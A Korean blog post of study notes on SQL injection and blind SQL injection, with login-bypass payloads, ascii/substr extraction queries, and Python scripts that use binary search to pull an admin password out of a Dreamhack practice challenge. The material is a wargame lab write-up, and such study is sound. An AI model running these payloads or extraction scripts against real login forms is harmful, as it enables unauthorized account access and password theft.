본문 바로가기
컴퓨터보안/웹서버

ServerSide: SQL Injection

by 데이빗제이2 2024. 5. 16.

# 들어가며 - 서론

- DBMS에서 관리하는 데이터베이스에는 회원 계정, 비밀글과 같이 민감한 정보가 포함되어 있을 수 있음

- 공격자는 데이터베이스 파일 탈취, SQL Injection 공격 등으로 해당 정보를 확보하고 악용하여 금전적인 이익을 얻을 수 있음

- 따라서 임의 정보 소유자 이외의 이용자에게 해당 정보가 노출되지 않도록 해야 함

- SQL Injection: DBMS에서 사용하는 쿼리를 임의로 조작해 데이터베이스의 정보를 획득하는 기법

- Injection: 주입이라는 의미를 가진 영단어로, 인젝션 공격은 이용자의 입력값이 애플리케이션의 처리 과정에서 구조나 문법적인 데이터로 해석되어 발생하는 취약점을 의미

드림이의 올바른 요청과 인젝션 요청

드림이가 공장에 생산을 요청하는 그림으로, 드림이가 부품 생성 중에 임의의 요청을 보내 제품의 색깔을 지정

 

드림이의 올바르지 않은 요청과 인젝션 요청

드림이가 올바르지 않은 요청을 보내 공장 운영자가 의도하지 않은 행위를 일으키는 것을 확인할 수 있음

이와 같이 사용자가 악의적인 입력값을 주입해 의도하지 않은 행위를 일으키는 것을 인젝션이라고 함

 

 

# SQL Injection

1. SQL Injection

- SQL: DBMS에 데이터를 질의하는 언어

- 웹 서비스는 이용자의 입력을 SQL 구문에 포함해 요청하는 경우가 많음

ex) 로그인 시에 ID/PW 포함, 게시글의 제목과 내용을 SQL 구문에 포함

로그인 기능을 위한 쿼리

- 로그인할 때 어플리케이션이 DBMS에 질의하는 예시 쿼리

 
<sql />
 
/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='dreamhack' and user_pw='password': user_id 컬럼이 dreamhack이고, user_pw 컬럼이 password인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 dreamhack이고, 비밀번호가 password인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'

이용자가 입력한 "dreamhack"과 "password" 문자열을 SQL 구문에 포함하는 것을 확인할 수 있음

이용자가 SQL 구문에 임의 문자열을 삽입하는 행위를 SQL Injection이라고 함

SQL Injection이 발생하면 조작된 쿼리로 인증을 우회하거나, 데이터베이스의 정보를 유출할 수 있음

SQL Injection으로 조작한 쿼리

 
<sql />
 
/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='admin': user_id 컬럼이 admin인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 admin인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='admin'

user_pw 조건문이 사라진 것을 확인할 수 있음

조작한 쿼리를 통해 질의하면 DBMS는 ID가 admin인 계정의 비밀번호를 비교하지 않고

해당 계정의 정보를 반환하기 때문에 이용자는 admin 계정으로 로그인할 수 있음

 

2. Simple SQL Injection

- 실습 모듈: 아이디와 비밀번호를 입력받고 DBMS에 조회하기 위한 쿼리를 생성 및 실행

- 실습 모듈에서 사용하는 user_table은 다음과 같이 구현되어 있음

- 실습 모듈 목표: 쿼리 질의를 통해 admin 결과를 반환하는 것

- SQL Injection 공격에서 제일 중요한 것은 이용자의 입력값이 SQL 구문으로 해석되도록 해야 함

- 실습 모듈에서 사용하는 쿼리문의 경우, 이용자의 입력값을 문자열로 나타내기 위해 ' 문자를 사용하는 것을 볼 수 있음

- 이용자의 입력값이 SQL 구문으로 해석되기 위해서는 ' 문자를 입력하는 방법이 있음

- uid admin' or '1을 입력하고, 비밀번호를 입력하지 않았을 때 생성되는 쿼리문은 다음과 같음

 
<sql />
 
SELECT * FROM user_table WHERE uid='admin' or '1' and upw='';

쿼리문을 두 개의 조건으로 나눠볼 수 있음

첫 번째 조건은 uid "admin"인 데이터,

두 번째 조건은 이전의 식이 참(True)이고, upw가 없는 경우

첫 번째 조건은 admin의 결과를 반환하고, 두 번째 조건은 아무런 결과도 반환하지 않음

다시 말해, uid "admin"인 데이터를 반환하기 때문에 관리자 계정으로 로그인할 수 있음

- 이외에도 주석 (--, #, /**/)을 사용하는 등 다양한 방법으로 SQL Injection을 시도할 수 있음

 
<sql />
 
SELECT * FROM user_table WHERE uid='admin'-- ' and upw='';

❓ 실습 모듈 해결하기: admin의 upw를 알아내는 공격 쿼리문을 작성해보세요

* A UNION B: A와 B의 합집합이 나옴

 

 

# Blind SQL Injection

1. Blind SQL Injection

- SQL Injection을 통해 의도하지 않은 결과를 반환해 인증을 우회하는 것을 실습함

- 해당 공격은 인증 우회 이외에도 데이터베이스의 데이터를 알아낼 수 있음

  → 이때 사용할 수 있는 공격 기법이 Blind SQL Injection

- 해당 공격 기법은 스무고개 게임과 유사한 방식으로 데이터를 알아낼 수 있음

- 공격자는 이러한 방법으로 데이터베이스의 내용을 알아낼 수 있음

Q1. dreamhack 계정의 비밀번호 첫 번째 글자는 'x'인가요?

A1. 아닙니다

Q2. dreamhack 계정의 비밀번호 첫 번째 글자는 'p'인가요?

A2. 맞습니다(첫 번째 글자 = p)

Q3. dreamhack 계정의 비밀번호 두 번째 글자는 'y'인가요?

A3. 아닙니다

Q4. dreamhack 계정의 비밀번호 두 번째 글자는 'a'인가요?

A4. 맞습니다(두 번째 글자 = a)

- 위와 같은 형태로 DBMS가 답변 가능한 형태로 질문하면서 dreamhack 계정의 비밀번호인 password를 알아낼 수 있음

- Blind SQL Injection: 질의 결과를 이용자가 화면에서 직접 확인하지 못할 때 참/거짓 반환 결과로 데이터를 획득하는 공격 기법

Blind SQL Injection 공격 쿼리

- Blind SQL Injection 공격 시에 사용할 수 있는 쿼리

<sql />
 
# 첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's'')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
# 두 번째 글자 구하기 (아스키 115 = 's', 116 = 't')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True

세 개의 조건이 있는 것을 확인할 수 있음

공격 쿼리문의 두 번째 조건을 살펴보면, upw의 첫 번째 값을 아스키 형태로 변환한 값이

114('r') 또는 115('s')인지 질의

질의 결과는 로그인 성공 여부로 참/거짓을 판단할 수 있음

만약 로그인이 실패할 경우 첫 번째 문자가 'r'이 아님을 의미

쿼리문의 반환 결과를 통해 admin 계정의 비밀번호를 획득할 수 있음

 

* ascii: 전달된 문자를 아스키 형태로 반환하는 함수

* substr: 문자열에서 지정한 위치부터 길이까지의 값을 가져옴

<sql />
 
substr(string, position, length)
substr('ABCD', 1, 1) = 'A'
substr('ABCD', 2, 2) = 'BC'

 

2. Blind SQL Injection 공격 스크립트

- Blind SQL Injection: 한 바이트씩 비교하여 공격하는 방식이기 때문에 다른 공격에 비해 많은 시간을 들여야 함

- 위와 같은 문제를 해결하기 위해서는 공격을 자동화하는 스크립트를 작성하는 방법이 있음

- 공격 스크립트를 작성하기에 유용한 라이브러리 → request 모듈

  > 해당 모듈은 다양한 메소드를 사용해 HTTP 요청을 보낼 수 있으며 응답 또한 확인할 수 있음

requests 모듈 GET 예제 코드

- requests 모듈을 통해 HTTP의 GET 메소드 통신을 하는 예제 코드

import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.get(url + str(i), headers=headers, params=params)
    print(c.request.url)
    print(c.text)

requests.get은 GET 메소드를 사용해 HTTP 요청을 보내는 함수로,

URL과 Header, Parameter와 함께 요청을 전송할 수 있음

requests 모듈 POST 예제 코드

- HTTP의 POST 메소드 통신을 하는 예제 코드

import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.post(url + str(i), headers=headers, data=data)
    print(c.text)

request.post는 POST 메소드를 사용해 HTTP 요청을 보내는 함수로

URL과 Header, Body와 함께 요청을 보낼 수 있음

- GET, POST 메소드 이외에도 다양한 메소드를 사용해 요청을 전송할 수 있으며, 더욱 자세한 기능은 아래 첨부한 공식 문서를 참고할 것

💡 Requests 모듈 공식 문서: https://docs.python-requests.org/en/master/

 

3. Blind SQL Injection 공격 스크립트 작성

- 앞서 다룬 예제에서 Blind SQL Injection을 시도한다고 가정해 봄

- 공격하기에 앞서, 아스키 범위 중 이용자가 입력할 수 있는 모든 문자의 범위를 지정해야 함

ex) 비밀번호의 경우 알파벳과 숫자 그리고 특수 문자로 이뤄짐

→ 이는 아스키 범위로 나타내면 32부터 126까지의 모든 문자

Blind SQL Injection 공격 스크립트

#!/usr/bin/python3
import requests
import string
url = 'http://example.com/login' # example URL
params = {
    'uid': '',
    'upw': ''
}
tc = string.ascii_letters + string.digits + string.punctuation # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
for idx in range(0, 20):
    for ch in tc:
        params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
        c = requests.get(url, params=params)
        print(c.request.url)
        if c.text.find("Login success") != -1:
            password += chr(ch)
            break
print(f"Password is {password}")

비밀번호에 포함될 수 있는 문자를 string 모듈을 사용해 생성하고,

한 바이트씩 모든 문자를 비교하는 반복문을 작성

반복문 실행 중에 반환 결과가 참일 경우에 페이지에 표시되는 "Login success" 문자열을 찾고,

해당 결과를 반환한 문자를 password 변수에 저장

반복문을 마치면 "admin" 계정의 비밀번호를 알아낼 수 있음

실행 결과

 

 

# 마치며

- 키워드

① SQL Injection: SQL 쿼리에 이용자의 입력 값을 삽입해 이용자가 원하는 쿼리를 실행할 수 있는 취약점

② Blind SQL Injection: 데이터베이스 조회 후 결과를 직접적으로 확인할 수 없는 경우 사용할 수 있는 SQL Injection 공격 기법

 

익스플로잇

Blind SQL Injection

비밀번호는 SQLite의 users 테이블에 있으므로, 이 테이블의 값을 읽는 Blind SQL Injection 코드를 작성하겠습니다. 지난 SQL Injection 코스에서 이야기 한 것처럼 Blind SQL Injection(BSQLi)는 여러 번의 질의를 통해 정답을 찾아내는 스무고개 놀이와 비슷합니다.

비밀번호를 구성할 수 있는 문자를 출력 가능한 아스키 문자로 제한했을 때, 한 자리에 들어갈 수 있는 문자의 종류는 94 (0x20 ~ 0x7E)개입니다. ✨아스키 테이블을 확인해보세요. 비밀번호가 10자리만 되어도, 가능한 경우의 수가 개에 이릅니다.

다행히 쿼리를 잘 이용하면 각 자리를 따로 조사할 수 있으므로, 실제로 전송해야할 최대 쿼리의 갯수는 로 줄어듭니다. 이분 탐색 알고리즘을 적용하면 개로 더욱 축소됩니다. 적어보일 수 있지만, 여전히 직접 시도 하기에는 많습니다. 더욱이 비밀번호의 길이가 이보다 길수도 있으므로, 자동화 스크립트를 작성하는 것이 바람직합니다.

로그인 요청의 폼 구조 파악

쿼리를 자동화하려면, 로그인할 때 전송하는 POST 데이터의 구조를 파악해야합니다. 크롬의 개발자 도구를 이용하겠습니다.

  • 개발자 도구의 네트워크 탭 열고, Preserve log 클릭
  • 로그 보존 기능
  • userid에 guest, password에 guest를 입력하고 login 버튼 클릭

로그인 버튼을 통한 네트워크 기록 생성

  • 메세지 목록에서 /login으로 전송된 POST 요청 찾기

네트워크 탭을 통한 HTTP 데이터 확인

 

 

  • 하단의 Form Data 확인
    login의 폼 데이터
    로그인할 때 입력한 userid 값은 userid로 password는 userpassword로 전송됨을 확인할 수 있습니다.

비밀번호 길이 파악

비밀번호를 알아내기 전에 길이를 먼저 파악하겠습니다. 다음과 같이 admin의 비밀번호 길이를 찾아내는 파이썬 스크립트를 작성해보세요. 이진 탐색 알고리즘을 활용하면 시간을 단축할 수 있습니다. ✨

비밀번호 길이 구하기

 

#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin


class Solver:
    """Solver for simple_SQLi challenge"""

    # initialization
    def __init__(self, port: str) -> None:
        self._chall_url = f"http://host1.dreamhack.games:{port}"
        self._login_url = urljoin(self._chall_url, "login")

    # base HTTP methods
    def _login(self, userid: str, userpassword: str) -> bool:
        login_data = {
            "userid": userid,
            "userpassword": userpassword
        }
        resp = requests.post(self._login_url, data=login_data)
        return resp

    # base sqli methods
    def _sqli(self, query: str) -> requests.Response:
        resp = self._login(f"\" or {query}-- ", "hi")
        return resp

    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
        while 1:
            mid = (low + high) // 2
            if low + 1 >= high:
                break
            query = query_tmpl.format(val=mid)
            if "hello" in self._sqli(query).text:
                high = mid
            else:
                low = mid
        return mid

    # attack methods
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\")<{{val}})"
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
        return pw_len

    def solve(self):
        pw_len = solver._find_password_length("admin")
        print(f"Length of admin password is: {pw_len}")


if __name__ == "__main__":
    port = sys.argv[1]
    solver = Solver(port)
    solver.solve()
 
$ ./ex.py 23742
  Length of the admin password is: [redacted]
코드 실행 결과

비밀번호 획득

비밀번호의 길이를 찾았으므로, 이제 한 글자씩 비밀번호를 알아내는 코드를 작성하겠습니다. 이진 탐색 알고리즘을 활용하면 시간을 단축할 수 있습니다. ✨

#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin


class Solver:
    """Solver for simple_SQLi challenge"""

    # initialization
    def __init__(self, port: str) -> None:
        self._chall_url = f"http://host1.dreamhack.games:{port}"
        self._login_url = urljoin(self._chall_url, "login")

    # base HTTP methods
    def _login(self, userid: str, userpassword: str) -> requests.Response:
        login_data = {"userid": userid, "userpassword": userpassword}
        resp = requests.post(self._login_url, data=login_data)
        return resp

    # base sqli methods
    def _sqli(self, query: str) -> requests.Response:
        resp = self._login(f'" or {query}-- ', "hi")
        return resp

    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
        while 1:
            mid = (low + high) // 2
            if low + 1 >= high:
                break
            query = query_tmpl.format(val=mid)
            if "hello" in self._sqli(query).text:
                high = mid
            else:
                low = mid
        return mid

    # attack methods
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmpl = f'((SELECT LENGTH(userpassword) WHERE userid="{user}") < {{val}})'
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
        return pw_len

    def _find_password(self, user: str, pw_len: int) -> str:
        pw = ""
        for idx in range(1, pw_len + 1):
            query_tmpl = f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))'
            pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E))
            print(f"{idx}. {pw}")
        return pw

    def solve(self) -> None:
        # Find the length of admin password
        pw_len = solver._find_password_length("admin")
        print(f"Length of the admin password is: {pw_len}")
        # Find the admin password
        print("Finding password:")
        pw = solver._find_password("admin", pw_len)
        print(f"Password of the admin is: {pw}")


if __name__ == "__main__":
    port = sys.argv[1]
    solver = Solver(port)
    solver.solve()

 

정답 예제
  $ ./ex.py 23742
  Length of the admin password is: [redacted]
  Finding password:
  1. 0
  2. 0e
  3. 0ec
  ...
  Password of the admin is: [redacted]

 

 

 

💡Connection timed out
스크립트를 실행하다가 연결 시간 초과 에러가 발생하는 경우가 있습니다. 파이썬의 try…except구문으로 에러를 핸들링하거나, 공격에 성공할 때까지 스크립트를 실행해서 이를 해결할 수 있습니다.

 

'컴퓨터보안 > 웹서버' 카테고리의 다른 글

커맨드 인젝션 (Command Injection)  (0) 2024.05.21
NoSQL Injection 기법 정리(MongoDB)  (0) 2024.05.20
NoSQL Injection  (0) 2024.05.20
SQL 문법 예시 및 정리  (0) 2024.05.15
데이터베이스 정리  (0) 2024.05.14